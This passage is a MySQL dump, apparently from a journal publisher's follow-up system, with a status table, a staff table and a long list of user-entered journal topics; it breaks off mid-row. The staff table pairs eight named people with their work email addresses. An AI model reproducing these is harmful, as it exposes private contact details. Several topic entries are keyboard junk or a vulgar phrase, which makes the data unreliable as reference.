CREATE TABLE `fup_status` (
  `fup_stat` int NOT NULL AUTO_INCREMENT,
  `fup_status` varchar(30) NOT NULL,
  `c_code` varchar(10) NOT NULL,
  PRIMARY KEY (`fup_stat`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `fup_status`
--

LOCK TABLES `fup_status` WRITE;
/*!40000 ALTER TABLE `fup_status` DISABLE KEYS */;
INSERT INTO `fup_status` VALUES (1,'Positive Response','green'),(2,'No Response','red'),(3,'Not Intrested','orange'),(4,'Already Published','blue');
/*!40000 ALTER TABLE `fup_status` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `fup_tls`
--

DROP TABLE IF EXISTS `fup_tls`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `fup_tls` (
  `tl_id` int NOT NULL AUTO_INCREMENT,
  `tl_name` varchar(50) NOT NULL,
  `tl_email` varchar(50) NOT NULL,
  PRIMARY KEY (`tl_id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `fup_tls`
--

LOCK TABLES `fup_tls` WRITE;
/*!40000 ALTER TABLE `fup_tls` DISABLE KEYS */;
INSERT INTO `fup_tls` VALUES (1,'Abhinab Das','abhinab_d@meetingsint.co.in'),(2,'Chandiran M','chandiran_m@meetingsint.co.in'),(3,'Swati Kumari','swati_k@meetingsint.co.in'),(4,'Pratik Tripathy','pratik_t@meetingsint.co.in'),(5,'Shibaram Sahu','shibaram_s@omicsgroup.co.in'),(6,'Kalyan Beera','kalyankumar_b@omicsgroup.co.in'),(7,'Chandra Mounika','chandramounika_n@omicsgroup.co.in'),(8,'Santhosh Kumar','santosh_sa@omicsgroup.co.in');
/*!40000 ALTER TABLE `fup_tls` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `journal_classifications`
--

DROP TABLE IF EXISTS `journal_classifications`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `journal_classifications` (
  `jc_id` int NOT NULL AUTO_INCREMENT,
  `j_id` int NOT NULL,
  `classification_id` int NOT NULL DEFAULT '0',
  `jc_topic` varchar(120) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `jc_date` date NOT NULL,
  `jc_active` int NOT NULL DEFAULT '1',
  PRIMARY KEY (`jc_id`),
  KEY `FK_journal_classifications` (`j_id`)
) ENGINE=InnoDB AUTO_INCREMENT=59263 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `journal_classifications`
--

LOCK TABLES `journal_classifications` WRITE;
/*!40000 ALTER TABLE `journal_classifications` DISABLE KEYS */;
INSERT INTO `journal_classifications` VALUES (295,45,0,'Neonatology ','2019-07-15',1),(326,73,0,'Neurology','2019-07-17',1),(327,73,0,'Neuroscience','2019-07-17',1),(328,73,0,'Seizures','2019-07-17',1),(329,73,0,'Migraine','2019-07-17',1),(330,73,0,'Alzheimer\'s Disease','2019-07-17',1),(332,73,0,'Central Nervous System','2019-07-17',1),(333,73,0,'Brain','2019-07-17',1),(334,73,0,'Neurological Disorders','2019-07-17',1),(335,73,0,'Nerve palsy','2019-07-17',1),(336,73,0,'Epilepsy','2019-07-17',1),(337,73,0,'Multiple Sclerosis','2019-07-17',1),(338,73,0,'Stroke','2019-07-17',1),(339,73,0,'Parkinson\'s Disease','2019-07-17',1),(340,73,0,'Traumatic Brain Injury','2019-07-17',1),(341,73,0,'Spinal Cord Injury','2019-07-17',1),(342,73,0,'Dystonia','2019-07-17',1),(343,73,0,'Chronic Regional Pain Syndrome','2019-07-17',1),(344,73,0,'Motor Neuron Disease','2019-07-17',1),(345,73,0,'Guillain-Barre Syndrome','2019-07-17',1),(346,73,0,'Muscular Dystrophy','2019-07-17',1),(347,73,0,'Neuropathy','2019-07-17',1),(348,73,0,'Myositis','2019-07-17',1),(349,73,0,'MRI','2019-07-17',1),(350,73,0,'Neurodegeneration','2019-07-17',1),(351,73,0,'Neuroimaging','2019-07-17',1),(352,73,0,'Neuropsychology','2019-07-17',1),(353,73,0,'Adolescence','2019-07-17',1),(354,73,0,'Ageing','2019-07-17',1),(355,73,0,'Depression','2019-07-17',1),(356,73,0,'Epidemiology','2019-07-17',1),(357,73,0,'Epigenetics','2019-07-17',1),(358,73,0,'Neurogenesis','2019-07-17',1),(359,73,0,'Sleep disorders','2019-07-17',1),(384,45,0,'Wound Healing and Management','2019-07-18',1),(385,45,0,'Hypertensive ','2019-07-18',1),(386,45,0,'Radiography ','2019-07-18',1),(387,45,0,'Prosthodontics ','2019-07-18',1),(388,45,0,'Epidemiology','2019-07-18',1),(389,45,0,'Orthognathic ','2019-07-18',1),(409,86,0,' Cardiology, Angiology, Critical Care Medicine ','2019-07-19',1),(410,86,0,'cardiology','2019-07-19',1),(456,45,0,'Nursing ','2019-07-23',1),(457,45,0,'Cosmetics ','2019-07-23',1),(458,45,0,'Environmental & Occupational Health','2019-07-23',1),(468,45,0,'management','2019-07-23',1),(471,85,0,'Health Strategic, Reproductive Health, Health Services','2019-07-23',1),(472,85,0,'Maternal Care, Maternal Mortality Ratio, Infant Mortality Rate','2019-07-23',1),(508,73,0,'schizophrenia','2019-07-25',1),(570,45,0,'Medical Entomology','2019-07-29',1),(588,45,0,'Cardiac surgery','2019-07-29',1),(641,45,0,'Pain','2019-08-01',1),(643,45,0,'Healthcare','2019-08-01',1),(651,45,0,'Medical education','2019-08-01',1),(652,45,0,'Depression','2019-08-01',1),(685,45,0,'Public Health','2019-08-05',1),(686,45,0,'Healthcare & Management','2019-08-05',1),(687,45,0,'Health Psychology','2019-08-05',1),(688,45,0,'Nephrology','2019-08-05',1),(689,45,0,'Neurology','2019-08-05',1),(690,45,0,'Cardiology','2019-08-05',1),(691,45,0,'Social and Behavioral Science','2019-08-05',1),(692,45,0,'Dentistry','2019-08-05',1),(693,45,0,'Oral Health','2019-08-05',1),(694,45,0,'Skin Health','2019-08-05',1),(695,45,0,'Sleep Health','2019-08-05',1),(712,86,0,'Hematology','2019-08-05',1),(777,251,0,'Pathogenic Bacteria','2019-08-08',1),(778,251,0,'Viral Disease','2019-08-08',1),(779,251,0,'Mycobacterial Diseases','2019-08-08',1),(780,251,0,'Bacterial Infection','2019-08-08',1),(781,251,0,'Viral Infection','2019-08-08',1),(782,251,0,'Fungal Infection','2019-08-08',1),(783,251,0,'Medical Microbiology','2019-08-08',1),(784,251,0,'Hepatitis Virus','2019-08-08',1),(785,251,0,'Microbial Genomics','2019-08-08',1),(786,251,0,'Staphylococcus aureus','2019-08-08',1),(787,251,0,'Human Immunodeficiency Virus','2019-08-08',1),(788,251,0,'Cholera','2019-08-08',1),(789,251,0,'Ebola Virus Disease','2019-08-08',1),(790,251,0,'Rotavirus Infection','2019-08-08',1),(1325,91,0,'pharmacy ','2019-08-14',1),(1639,86,0,'Health System management','2019-08-19',1),(1770,639,0,'fisheries','2019-08-20',1),(1771,639,0,'fisheries Sciences','2019-08-20',1),(1772,639,0,'Sea foods','2019-08-20',1),(1773,639,0,'Aquatic health management','2019-08-20',1),(1774,639,0,'Fisheries management','2019-08-20',1),(1776,639,0,'Fisheries and Aquaculture','2019-08-20',1),(1777,639,0,'Fisheries and Aquatic Sciences','2019-08-20',1),(1778,639,0,'Marine Fisheries','2019-08-20',1),(1780,639,0,'Ocean Sciences','2019-08-20',1),(1781,639,0,'Marine Sciences and Technology','2019-08-20',1),(1782,639,0,'Marine Research','2019-08-20',1),(2068,45,0,'ENVIRONMENTAL POLLUTION','2019-08-26',1),(2141,85,0,'Health System Management','2019-08-26',1),(2193,91,0,'organic chemistry','2019-08-28',1),(2231,91,0,'Pharmacology, Psychiatry, Drug research, Off-label use, Clinical Research','2019-08-29',1),(2421,91,0,'Biotechnology','2019-09-05',1),(2427,91,0,'CLINICAL PHARMACOLOGY','2019-09-05',1),(2428,91,0,'Pathology','2019-09-05',1),(2429,91,0,'Gene expression','2019-09-05',1),(2430,91,0,'INFECTIOUS DISORDERS','2019-09-05',1),(2436,959,0,'Economic evaluation- cancer','2019-09-05',1),(2446,91,0,'Antimicrobial','2019-09-06',1),(2459,91,0,'DEPRESSION','2019-09-06',1),(2460,91,0,'ANTIDEPRESSANTS','2019-09-06',1),(2474,91,0,'Drug delivery','2019-09-07',1),(2502,45,0,'Infection Control, dialysis ','2019-09-09',1),(2503,45,0,'Pituitary adenoma, sclerosis ','2019-09-09',1),(2707,277,0,'Review','2019-09-13',1),(2793,277,0,'Editor','2019-09-18',1),(2794,277,0,'Reviewer','2019-09-18',1),(2795,959,0,' rare diagnosis','2019-09-18',1),(2800,45,0,'urinary tract infections','2019-09-19',1),(2801,45,0,'Radiology','2019-09-19',1),(2805,277,0,'Medicina','2019-09-19',1),(2817,959,0,'orginal article','2019-09-21',1),(2832,45,0,'Tomography ','2019-09-24',1),(2838,91,0,'Floating Matrix Tablets','2019-09-25',1),(2876,251,0,'antibiotics ','2019-10-03',1),(2879,45,0,'Nutrition & Health ','2019-10-04',1),(2890,86,0,'Medicine','2019-10-07',1),(2891,86,0,'Dental','2019-10-07',1),(2892,86,0,'nursing','2019-10-07',1),(2906,85,0,'Social Media ','2019-10-10',1),(2922,85,0,'Health Financing','2019-10-13',1),(3031,86,0,'Infectious diseases','2019-10-17',1),(3043,73,0,'posttraumatic stress disorder','2019-10-22',1),(3061,667,0,'posttraumatic stress disorder','2019-10-28',1),(3066,86,0,'Medical Microbiology','2019-10-29',1),(3067,86,0,'Genetics','2019-10-29',1),(3070,73,0,'posttraumatic stress disorder','2019-10-30',1),(3081,86,0,'Oncology','2019-11-02',1),(3097,86,0,'Orthopaedics','2019-11-07',1),(3103,326,0,'MEDICAL','2019-11-11',1),(3108,73,0,'Oncology Nursing','2019-11-11',1),(3115,73,0,'Polymer Science and Technology','2019-11-15',1),(3142,959,0,'Breast cancer','2019-11-30',1),(3160,251,0,'Parasites','2019-12-07',1),(3162,959,0,'Lymphoma','2019-12-09',1),(3192,86,0,'pediatric surgery, pediatric urology','2019-12-27',1),(3193,91,0,'Bioabsorption','2019-12-27',1),(3195,86,0,'Urology, Gynecology and Reproductive Health','2019-12-28',1),(3196,667,0,'Brain connectivity','2019-12-28',1),(3197,667,0,'nanobioabsorption','2019-12-30',1),(3202,45,0,'Reproductive health','2020-01-05',1),(3205,639,0,'fisheries Funi','2020-01-06',1),(3206,639,0,'F Uni','2020-01-06',1),(3213,91,0,'Anticancer Drug Development','2020-01-09',1),(3216,959,0,'Cell Tumor','2020-01-13',1),(3236,971,0,'Laboratory of Clinical Biochemistry','2020-01-24',1),(3238,85,0,'Pulmonary Respiratory','2020-01-24',1),(3242,85,0,'Public Healthcare','2020-01-25',1),(3249,971,0,'Clinical and Laboratory Research','2020-01-29',1),(3273,45,0,'Sports and Science','2020-02-07',1),(3282,85,0,'Health policy research','2020-02-11',1),(3284,959,0,'Case Reports','2020-02-11',1),(3298,91,0,'Pharmaceutical chemistry about determination simultaneous ternary mixture by Spectrophotometry method','2020-02-14',1),(3300,45,0,'disease, health, drug delivery','2020-02-16',1),(3314,73,0,'Autism Spectrum Disorder','2020-02-21',1),(3322,667,0,'Biomedicine','2020-02-26',1),(3326,86,0,'Gastroenterology','2020-02-27',1),(3334,667,0,'pharmacology , ophthalmology','2020-03-05',1),(3337,91,0,'Screening of marketed antiviral drug as novel corona virus protease inhibitor','2020-03-05',1),(3358,73,0,'Neurophysics','2020-03-12',1),(3362,86,0,'Neuroscience','2020-03-16',1),(3386,86,0,'Covid 19-Medicine','2020-04-03',1),(3388,85,0,'immunology','2020-04-04',1),(3391,91,0,'drug discovery','2020-04-06',1),(3404,85,0,'Health Professionals','2020-04-10',1),(3405,85,0,'Hospital management','2020-04-10',1),(3411,86,0,'respiratory','2020-04-14',1),(3412,86,0,'acupunture','2020-04-14',1),(3413,85,0,'Global Health','2020-04-14',1),(3430,45,0,'Cardiovascular health','2020-04-24',1),(3431,73,0,'Neurogenetics','2020-04-24',1),(3459,667,0,'infectious medicine ','2020-05-03',1),(3460,975,0,'Article','2020-05-03',1),(3512,667,0,'Cancer Stem Cells','2020-05-21',1),(3521,959,0,'Cancer Stem cell','2020-05-23',1),(3524,251,0,'Diabetes in Pakistan ','2020-05-24',1),(3528,91,0,'Anti-diabetic, Microencapsulation','2020-05-26',1),(3575,667,0,'Maternal and reproductive health','2020-06-02',1),(3610,45,0,'Glaucoma','2020-06-07',1),(3611,45,0,'Glaucoma','2020-06-07',1),(3637,86,0,'ophthalmology','2020-06-10',1),(3641,86,0,'Surgery','2020-06-10',1),(3646,667,0,'Food safety and hygiene','2020-06-11',1),(3649,996,0,'Acta Rheumatologica','2020-06-11',1),(3652,73,0,'EEG signal processing, Event Related Potential ','2020-06-11',1),(3654,73,0,'EEG signal processing, Event Related Potential ','2020-06-11',1),(3677,975,0,'Review','2020-06-17',1),(3688,91,0,'Patenting of Drugs','2020-06-21',1),(3689,91,0,'Patenting of Drugs','2020-06-21',1),(3691,45,0,'HEMATOLOGY ','2020-06-22',1),(3739,1020,0,'Docking studies','2020-07-01',1),(3752,975,0,'Short Communication','2020-07-09',1),(3753,91,0,'clinical biochemistry','2020-07-09',1),(3754,91,0,'clinical biochemistry','2020-07-09',1),(3756,45,0,'Microbiology','2020-07-09',1),(3761,971,0,'Research','2020-07-10',1),(3764,45,0,'Ophthalmology/Vitreo-retinal/Medical Retina and Uveitis','2020-07-13',1),(3765,45,0,'Ophthalmology/Vitreo-retinal/Medical Retina','2020-07-13',1),(3774,667,0,'Cardiovascular','2020-07-15',1),(3797,959,0,'High Levels of the PSA (Prostate Specific Antigen) in Patients with Benign Prostatic Hyperplasia and Prostate Cancer','2020-07-23',1),(3799,86,0,'Mental health','2020-07-24',1),(3803,667,0,'childhood nutrition','2020-07-26',1),(3824,45,0,'Pediatric Nutrition  ','2020-07-28',1),(3825,45,0,'Pediatric Allergy and Infections  ','2020-07-28',1),(3826,45,0,'Pediatric Allergy and Infections  ','2020-07-28',1),(3827,45,0,'Pediatric Vaccines  ','2020-07-28',1),(3828,45,0,'pediatric care','2020-07-28',1),(3829,45,0,'Neuroscience','2020-07-28',1),(3868,86,0,'Psychology & Neuroscience','2020-07-30',1),(3888,86,0,'Immunology','2020-08-03',1),(3902,959,0,'Perspective or letter','2020-08-07',1),(3909,73,0,'shunt','2020-08-14',1),(3933,667,0,'Translational Biomedicine','2020-08-18',1),(3944,251,0,'Archives of clinical microbiology ','2020-08-24',1),(3946,251,0,'covid-19 (coronavirus)','2020-08-24',1),(3970,73,0,'physiotherapy rehabilitation','2020-09-05',1),(3971,981,0,'Toxicology, Plant, ','2020-09-08',1),(3978,86,0,'Radiology','2020-09-09',1),(4009,971,0,'Review article','2020-09-24',1),(4010,45,0,'Skin Disease','2020-09-25',1),(4011,45,0,'Skin Disease','2020-09-25',1),(4014,86,0,'Metabolism','2020-09-25',1),(4019,45,0,'serum biochemicals stability','2020-09-29',1),(4028,73,0,'leukodystrophy','2020-09-29',1),(4037,981,0,'Medical Devices; Biological dentistry; Materiovigilance; ','2020-10-01',1),(4043,73,0,'neuro-oncology','2020-10-04',1),(4050,91,0,'Econometrics','2020-10-07',1),(4051,91,0,'Econometrics','2020-10-07',1),(4052,91,0,'Econometrics','2020-10-07',1),(4053,91,0,'Econometrics','2020-10-07',1),(4054,91,0,'Econometrics','2020-10-07',1),(4055,91,0,'Econometrics','2020-10-07',1),(4065,91,0,'COVID-19','2020-10-12',1),(4067,277,0,'Surgery Oral Patology','2020-10-13',1),(4068,85,0,'health service','2020-10-14',1),(4074,45,0,'Hepatitis','2020-10-22',1),(4075,45,0,'Hepatitis','2020-10-22',1),(4076,45,0,'health care','2020-10-22',1),(4089,975,0,'Journal of Biomedical Sciences','2020-10-31',1),(4092,667,0,'COVID-19 ','2020-11-03',1),(4108,86,0,'rheumatology','2020-11-17',1),(4111,667,0,'ENT','2020-11-18',1),(4579,667,0,'microbiology','2020-11-27',1),(4583,971,0,'Emergency Psychiatry','2020-12-01',1),(4610,45,0,'Diabetes and Endocrinology ','2020-12-19',1),(4616,91,0,'Pharmaceutical Analysis','2020-12-23',1),(4656,73,0,'history of neurology','2021-01-16',1),(4657,73,0,'history of neurology','2021-01-16',1),(4658,73,0,'Physiotherapy education','2021-01-16',1),(4660,45,0,'Emergency Medicine','2021-01-18',1),(4676,86,0,'otorhinolaryngology- head and neck surgery','2021-02-02',1),(4679,86,0,'Physiotherapy-Spinal Biomechanics','2021-02-03',1),(4680,277,0,'gastroenterology','2021-02-04',1),(4686,667,0,'Translational medicine','2021-02-10',1),(4691,45,0,'tooth root surgery','2021-02-13',1),(4695,667,0,'pneumothorax','2021-02-17',1),(4702,971,0,'Gastroenterology','2021-02-19',1),(4703,45,0,'Transplantation','2021-02-19',1),(4706,251,0,'Virus','2021-02-22',1),(4710,971,0,'Corona virus','2021-02-25',1),(4739,959,0,'lung cancer','2021-03-15',1),(4768,667,0,'Rhinorrhea','2021-03-24',1),(4769,667,0,'Rhinoliquorrhea','2021-03-24',1),(4772,91,0,'covid-19','2021-03-26',1),(4773,91,0,'covid-19','2021-03-26',1),(4774,91,0,'covid-19','2021-03-26',1),(4783,667,0,'XIAP-AS1 RNA','2021-04-02',1),(4792,45,0,'Plastic surgery','2021-04-07',1),(4796,73,0,'Neurosurgery','2021-04-12',1),(4799,667,0,'Pigeonpea sterility mosaic virus','2021-04-13',1),(4809,667,0,'diabetes mellitus','2021-04-22',1),(4810,667,0,'laryngeal hemangioma','2021-04-22',1),(4815,667,0,'Cybersecurity','2021-04-26',1),(4816,667,0,'RNA SENEBLOC','2021-04-29',1),(4822,639,0,'EFFECT OF COVID-19 IN FISHERIES','2021-05-07',1),(4823,667,0,'Orthostatic test','2021-05-07',1),(4824,45,0,'SARS-CoV-2','2021-05-10',1),(4825,45,0,'SARS-CoV-2','2021-05-10',1),(4826,85,0,'Digital Health, e-health','2021-05-10',1),(4830,639,0,'EFFECT OF COVID-19 IN FISHERIES','2021-05-12',1),(4839,91,0,'Nutraceuticals','2021-05-15',1),(4843,667,0,'Newborn Infants','2021-05-18',1),(4845,667,0,'Elucidation','2021-05-20',1),(4854,73,0,'skeletal muscles injury with covid-19 infections','2021-05-27',1),(4855,73,0,'skeletal muscles injury with covid-19 infections','2021-05-27',1),(4856,73,0,'skeletal muscles injury with covid-19','2021-05-27',1),(4873,975,0,'Covid 19','2021-06-15',1),(4874,975,0,'prosthodontics','2021-06-15',1),(4875,975,0,'Brain Tumor','2021-06-15',1),(4892,1020,0,'Clinical case','2021-06-25',1),(4902,45,0,'Non-communicable disease and its risk factors ','2021-07-06',1),(4912,45,0,'infectious diseases','2021-07-09',1),(4917,86,0,'Renal Medicine','2021-07-14',1),(4921,86,0,'surgery & anesthesia','2021-07-17',1),(4933,971,0,'cell biology','2021-07-21',1),(4935,667,0,'VASCULAR SYSTEM','2021-07-21',1),(4940,91,0,'evaluation of drug','2021-07-22',1),(4946,277,0,'Urology','2021-07-22',1),(4962,45,0,'HIV/AIDS','2021-07-26',1),(4963,959,0,'Oral Cancer','2021-07-27',1),(4964,959,0,'Oral Cancer','2021-07-27',1),(4979,667,0,'Sexual dysfunction','2021-08-03',1),(4988,667,0,'epidemiology','2021-08-06',1),(5013,86,0,'Archives of Medicine','2021-08-17',1),(5022,277,0,'medicina','2021-09-01',1),(5023,277,0,'medicina','2021-09-01',1),(5025,667,0,'CRICKET','2021-09-02',1),(5031,91,0,'Gynecology','2021-09-03',1),(5032,667,0,'Hepatitis C','2021-09-03',1),(5033,91,0,'Developement of Drug','2021-09-06',1),(5035,45,0,'Human resource for Obstetrics & Gynecology','2021-09-07',1),(5039,667,0,'Breast Tissue','2021-09-09',1),(5040,91,0,'dsfsf','2021-09-12',1),(5041,1020,0,'Immunodeficiency Disorders','2021-09-13',1),(5042,1020,0,'Molecular Enzymology','2021-09-13',1),(5043,1020,0,'Infectious Disease Drug Targets','2021-09-13',1),(5044,1020,0,'Enzymes and Drug Targets','2021-09-13',1),(5065,996,0,'SPONDYLOSIS','2021-09-17',1),(5068,996,0,'Vertebral Fracture','2021-09-17',1),(5096,996,0,'Sterilization Wraps ','2021-10-01',1),(5108,975,0,'molecular hematology','2021-10-05',1),(5114,91,0,'Agriculture','2021-10-08',1),(5119,277,0,'Role of Pharmacist Covid-19','2021-10-12',1),(5123,277,0,'Intrauterine device','2021-10-14',1),(5131,667,0,'radiotherapy','2021-10-18',1),(5154,45,0,'FOOD AND HEALTH','2021-10-28',1),(5155,251,0,' Ureaplasma','2021-10-28',1),(5211,667,0,'Plastic reconstructive','2021-12-11',1),(5212,959,0,'Incidence','2021-12-12',1),(5218,667,0,'Cadavers','2021-12-16',1),(5255,91,0,'Dermatology','2021-12-30',1),(5260,667,0,'Laparoscopic','2021-12-31',1),(5267,85,0,'Pain and spinal cord injury side effect ','2022-01-08',1),(5284,73,0,'km','2022-01-23',1),(5320,667,0,'Treatment of cancer ','2022-02-12',1),(5330,639,0,'Tes','2022-02-23',1),(5342,86,0,'Family Planning and health','2022-03-04',1),(5343,45,0,'deficiencias vitMataminicas','2022-03-05',1),(5344,45,0,'nefrología','2022-03-05',1),(5345,45,0,'orthopedics','2022-03-12',1),(5346,971,0,'Oncology','2022-03-17',1),(5347,971,0,'liquid chromatography','2022-03-18',1),(5348,277,0,'PEDIATRIC PATIENTS','2022-03-21',1),(5349,277,0,'Breast cancer','2022-03-22',1),(5350,277,0,'Breast cancer','2022-03-22',1),(5351,277,0,'Suicide','2022-03-22',1),(5352,45,0,'Peri-operative anesthesia management','2022-03-22',1),(5353,73,0,'Epilepsy','2022-03-27',1),(5354,73,0,'Epilepsy','2022-03-27',1),(5355,73,0,'Epilepsy','2022-03-27',1),(5356,277,0,'Pulmonary; Respiratory','2022-03-28',1),(5357,975,0,'Bronchopulmonary tumors ','2022-03-29',1),(5358,975,0,'Bronchopulmonary tumors ','2022-03-29',1),(5360,45,0,'bioequivalence and bioavailability','2022-03-30',1),(5362,959,0,'awdawd','2022-04-04',1),(5363,73,0,'Psychotherapy','2022-04-06',1),(5372,86,0,'oral surgery and dermatology','2022-04-13',1),(5373,639,0,'awdwadwadwa','2022-04-17',1),(5374,45,0,'dermatology','2022-04-21',1),(5375,45,0,'ONCOLOGY','2022-04-21',1),(5376,45,0,'ginecologist','2022-04-22',1),(5377,73,0,'Movment disorders','2022-04-25',1),(5378,91,0,'A Review on anti-inflammatory action of herbal drugs','2022-04-27',1),(5379,45,0,'kamukontolodon','2022-04-28',1),(5380,971,0,'Drug Analysis','2022-05-05',1),(5381,971,0,'Clinical Pathology','2022-05-06',1),(5382,667,0,'Paradigm shift in Medical Education ','2022-05-11',1),(5383,971,0,'Laboratory Science','2022-05-12',1),(5384,45,0,' CRITICAL CONDITION.','2022-05-17',1),(5385,45,0,'cafeine and energy drinks','2022-05-17',1),(5386,45,0,'anticonceptives','2022-05-21',1),(5387,45,0,'pediatrics','2022-05-21',1),(5388,45,0,'Covid 19','2022-05-24',1),(5389,45,0,'Bole saya ngekil banyak agar pangkat reng ku tamba naing','2022-06-02',1),(5390,277,0,'Diabetes','2022-06-03',1),(5391,996,0,'rtritis','2022-07-02',1),(5392,45,0,'Hepatitis B','2022-07-04',1),(5393,277,0,'ESTUDIO DE CORTE TRANSVERSAL','2022-07-10',1),(5396,277,0,'Estudio de corte transversal','2022-07-12',1),(5398,73,0,'Child neurology and psychiatry, childhood disabilities','2022-07-13',1),(5399,959,0,'Cervical cancer','2022-07-16',1),(5400,959,0,'Cervical cancer','2022-07-16',1),(5401,45,0,'Child Spacing','2022-07-19',1),(5402,45,0,'Bowel obstruction','2022-07-26',1),(5403,45,0,'Cardiovascular health.','2022-08-18',1),(5405,45,0,'Environmental & Occupational Health.','2022-08-26',1),(5406,91,0,'antibiotic alternative','2022-08-28',1),(5407,91,0,'special dosage form','2022-09-01',1),(5408,959,0,'carcinoma','2022-09-08',1),(5409,45,0,'microsurgery,','2022-09-13',1),(5410,975,0,'biomedical sciences','2022-09-14',1),(5411,639,0,'Fisheries and pollution','2022-09-17',1),(5412,45,0,'pediatrics.','2022-09-19',1),(5413,326,0,'Endometriosis Surgery','2022-09-27',1),(5414,251,0,'Candidiasis','2022-09-27',1),(5415,91,0,'organic synthesis and  properties ','2022-10-05',1),(5416,45,0,'Health Neonatal','2022-10-18',1),(5417,996,0,'sadsadsad','2022-12-01',1),(5418,971,0,'Coronavirus Clean','2022-12-02',1),(5421,1020,0,'cancer','2022-12-13',1),(5422,975,0,'cancer','2022-12-13',1),(5423,975,0,'clinical case','2022-12-13',1),(5424,975,0,'Neurological','2022-12-13',1),(5425,971,0,'Carnivore, Prism, and other projects','2022-12-17',1),(5426,73,0,'Narcolepsy','2022-12-26',1),(5427,73,0,'Blood–brain barrier','2023-01-06',1),(5428,959,0,'cancer','2023-01-10',1),(5429,667,0,'Cardiovascular Translational Research','2023-01-25',1),(5430,667,0,'Molecular medicine','2023-01-25',1),(5431,91,0,'Biochemistry  and  Cell biology, Exosome/sEV biology and engineering.','2023-01-27',1),(5432,959,0,'Kidney cancer','2023-01-28',1),(5433,45,0,'Disorder child','2023-01-31',1),(5436,981,0,'pharmacokinetics','2023-02-03',1),(5438,981,0,'pharmacology & toxicology','2023-02-06',1),(5439,667,0,'Oncology','2023-02-07',1),(5440,959,0,'Bone cancer','2023-03-14',1),(5441,959,0,'Brain Cancer','2023-03-14',1),(5442,959,0,'Lung Cancer','2023-03-14',1),(5443,959,0,'Bladder Cancer','2023-03-14',1),(5444,959,0,'oncology','2023-03-15',1),(5445,91,0,'Engineering','2023-03-27',1),(5446,667,0,'Molecular Diagnostics','2023-04-05',1),(5447,667,0,'Personalized Medicine','2023-04-05',1),(5448,326,0,'Aesthetic surgery','2023-04-06',1),(5449,326,0,'emergencies cases','2023-04-10',1),(5450,73,0,'Neurodynamics','2023-04-14',1),(5451,73,0,'Neuroplasticity','2023-04-14',1),(5452,667,0,'Pathophysiology','2023-04-14',1),(5453,959,0,'Endometrial Cancer','2023-04-17',1),(5454,959,0,'prostate cancer','2023-04-17',1),(5455,91,0,'Herbal','2023-04-27',1),(5456,73,0,'Cancer, Lung Cancer, Immunotherapy ','2023-05-10',1),(59073,971,0,'Healthcare system','2023-07-19',1),(59074,971,0,'Clinical laboratory','2023-07-19',1),(59075,971,0,'Medical genetics','2023-07-19',1),(59076,971,0,'Medical genetics','2023-07-19',1),(59077,971,0,'Therapy','2023-07-19',1),(59078,971,0,'Immune mechanisms','2023-07-19',1),(59079,73,0,'Classification not found','2023-07-22',1),(59080,667,0,'pathologies of aging','2023-07-29',1),(59081,667,0,'iptb','2023-07-31',1),(59083,251,0,'anti cancer','2023-08-11',1),(59084,73,0,'neurorehabilitation','2023-09-12',1),(59085,73,0,'Neuroinflammation ','2023-09-12',1),(59086,45,0,'anesthesia ','2023-10-12',1),(59087,45,0,'anesthesia ','2023-10-12',1),(59088,667,0,'Genomics','2023-10-27',1),(59089,975,0,'Biochemistry','2023-10-27',1),(59090,667,0,'proteomics','2023-10-27',1),(59091,85,0,'Health care','2023-10-27',1),(59092,667,0,'biomarkers','2023-10-27',1),(59093,85,0,'Medical services','2023-10-27',1),(59094,975,0,'human health','2023-10-27',1),(59095,91,0,'Drug research','2023-10-27',1),(59096,975,0,'ophthalmopathy','2023-10-27',1),(59097,981,0,'Drug composition','2023-10-28',1),(59098,981,0,'Pharmacology','2023-10-28',1),(59099,981,0,'Toxicology','2023-10-28',1),(59100,91,0,'vaccines','2023-10-28',1),(59101,667,0,'stem cells','2023-10-30',1),(59102,326,0,'robots','2023-10-30',1),(59103,85,0,'Human Health','2023-10-30',1),(59104,85,0,'Health Ethics','2023-10-30',1),(59105,959,0,'Genetic Mutation','2023-10-30',1),(59106,326,0,'Appendic Surgery','2023-10-30',1),(59107,326,0,'Pediatric Surgery','2023-10-30',1),(59108,326,0,'Oral Surgery','2023-10-30',1),(59109,326,0,'Fibroid Surgery','2023-10-30',1),(59110,326,0,'Implant Surgery','2023-10-30',1),(59111,959,0,'Vaccination','2023-10-30',1),(59112,326,0,'Gallbladder Surgery','2023-10-30',1),(59113,326,0,'Open Heart Surgery','2023-10-30',1),(59114,959,0,'Inter-Metallic','2023-10-30',1),(59115,959,0,'Immunotherapy','2023-10-30',1),(59116,959,0,'Cancer Diagnoses','2023-10-30',1),(59117,959,0,'Blood Cancers','2023-10-30',1),(59118,959,0,'Skin Cancer','2023-10-30',1),(59119,975,0,'Brain','2023-10-31',1),(59120,975,0,'protein','2023-10-31',1),(59121,975,0,'Vascular autoregulation','2023-10-31',1),(59122,975,0,'Biotechnology','2023-10-31',1),(59123,975,0,'Microbiology','2023-10-31',1),(59124,667,0,'psychology','2023-11-02',1),(59125,667,0,'drug therapy','2023-11-02',1),(59126,667,0,'skin','2023-11-02',1),(59127,975,0,'Genetics','2023-11-02',1),(59128,251,0,'Candidiasis','2023-11-03',1),(59129,996,0,'Joint Pain','2023-11-06',1),(59130,996,0,'Knee Brace','2023-11-06',1),(59131,996,0,'Glucosamine','2023-11-06',1),(59132,639,0,'Ecosystems','2023-11-06',1),(59133,639,0,'Oceanography','2023-11-06',1),(59134,639,0,'Fishing Vessels','2023-11-06',1),(59135,326,0,'Pacemaker 